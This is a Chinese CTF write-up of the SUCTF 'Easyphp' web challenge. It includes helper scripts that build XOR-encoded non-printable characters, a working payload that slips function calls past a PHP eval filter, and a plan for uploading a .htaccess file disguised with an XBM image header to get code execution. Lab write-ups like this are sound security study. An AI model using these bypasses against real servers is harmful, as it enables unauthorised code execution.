SUCTF Web复现

Easyphp

题目直接给了源码:

mark

可以看到代码最后可以执行$hhh,先GET参数"_"的值然后进行三道检测,全部通过后才会被eval()执行

首先如果没有从GET方法获取"_"参数,就直接显示源码;

如果$hhh变量的长度大于18则无法继续执行;

然后通过preg_match进行正则匹配,基本过滤了所有可显示的字符

最后通过count_chars函数来限制变量中不同字符的个数,count_chars(string, mode),当mode=3的时候是字符串模式,返回所有使用过的不同的字符,这个返回值的长度不能大于12

因为正则过滤的很死,所以先看一下还有哪些可以用的字符

1
2
3
4
5
6
7
8
9
<?php
$ascii = 0;
for (;$ascii < 256;) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
echo "'" . chr($ascii) . "',";
}
$ascii ++;
}
echo "\n";

mark

可以看到大部分都是不可见字符,而这里还有一个值得注意的点:这些没被正则过滤的字符并不是都能被我们使用,因为最后payload是直接在url中传过去的,而url中存在一些保留字符和不安全字符,如果要使用这两种特殊的字符就需要使用单引号括起来,但是单引号已经被过滤了。

mark

所以我们的思路就变成了对不可见字符进行异或来生成我们想要的payload

现在已经知道了 Payload 需要由那些不可见字符组成 , 那么 Payload 究竟是怎样的呢?

题目中有这么一条限制 : GET方法获取参数的值不能超过 18 个 字符 , 如果想要在 Payload 中执行一个函数 , 格式肯定 (xxx^xxx)(); 这样的,这还必须是无参函数。

但即使是无参函数 , 已经使用的字符( 小括号 , 异或符号 , 结尾符) 也已经使用了6个字符 , 函数名又需要两两字符异或计算得到 , 也就是函数名最多有 ((18 - 6) / 2 = 6)个字符 , 而6个字符连个 phpinfo 都运行不了 , 这样肯定是不可行的 .

直接调用函数好像是不可行的 , 我们需要换一种思路 —— 比如使用全局变量 , 至少$符号还是可以使用的 , 介于题目中对 Payload 长度有限制,最短的全局变量为 : $_GET 。” $ “本身可用 , 而_GET 的形式大概是 : xxxx^xxxx}这样的 。

有了全局变量 , 就可以利用 ${}中的代码是可以执行的特点,把要运行的函数名作为参数来动态执行。也就是${x}();这样的形式 , 函数名的值 "x"可以通过全局方法GET来获取

因此 , 完整的 Payload 应该为 : ${xxxx^xxxx}{x}();&x= ...,转换后就变成了 $_GET[x]();&x= ...

并且 , "_"参数的值为 : ${xxxx^xxxx}(x)();, 长度为 18 个字符 , 恰好满足题目 strlen() 函数的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import string

string= string.printable

_=[]
G=[]
E=[]
T=[]

for i in range(256):
for j in range(256):
if (chr(i) not in list(string)) & (chr(j) not in list(string)):
tem = i^j
if chr(tem)=="_":
temp=[]
temp.append(str(hex(i)[2:])+"^"+str(hex(j))[2:])
_.append(temp)
if chr(tem)=="G":
temp=[]
temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])
G.append(temp)
if chr(tem)=="E":
temp=[]
temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])
E.append(temp)
if chr(tem)=="T":
temp=[]
temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])
T.append(temp)
print(_, end="\n")
print("\n")
print(G, end="\n")
print("\n")
print(E, end="\n")
print("\n")
print(T, end="\n")
print("\n")

mark

生成了非常多的payload,但还有count_chars的限制,"_"参数最多只能用12个不同的字符,而现在${xxxx^xxxx}{x}();在不考虑x的情况下已经使用了7个字符,所以剩下的只有5个不同的字符,刚刚好够用来构造payload

payload:_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

mark

成功执行了,也就是我们已经绕过第一层了

第二层是get_the_flag函数:

  • 首先用preg_match函数检查文件后缀,ph开头的文件全部无法通过
  • 接着对文件内容进行检测,如果文件内容中出现<?也不能通过检测
  • 最后限制了文件的类型必须是图片

从上面的phpinfo可以看到中间件是Apache2,因此对文件后缀的检查可以通过上传.htaccess文件来绕过; 而php版本是php7.2,所以<script language='php'></script>的写法就不能用了,想绕过<?就需要先编码再上传了; exif_imagetype()的检测可以通过添加文件头的方式来绕过

到了这里与之前在xman做的一道题特别像了,当时是参考的Insomnihack2019的一道题,writeup链接在这里:[https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md](https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md)

php解析的图片类型如图所示:

mark

在这些格式中XBM这种格式比较特殊,它的前两行是文件头,同时也是注释,用来定义图片宽和长,XBM文件格式:

mark

XBM文件的文件头在php文件和.htaccess文件中正好都是注释,所以我们在上传的时候就可以在前面加上XBM文件头来绕过exif_imagetype的检测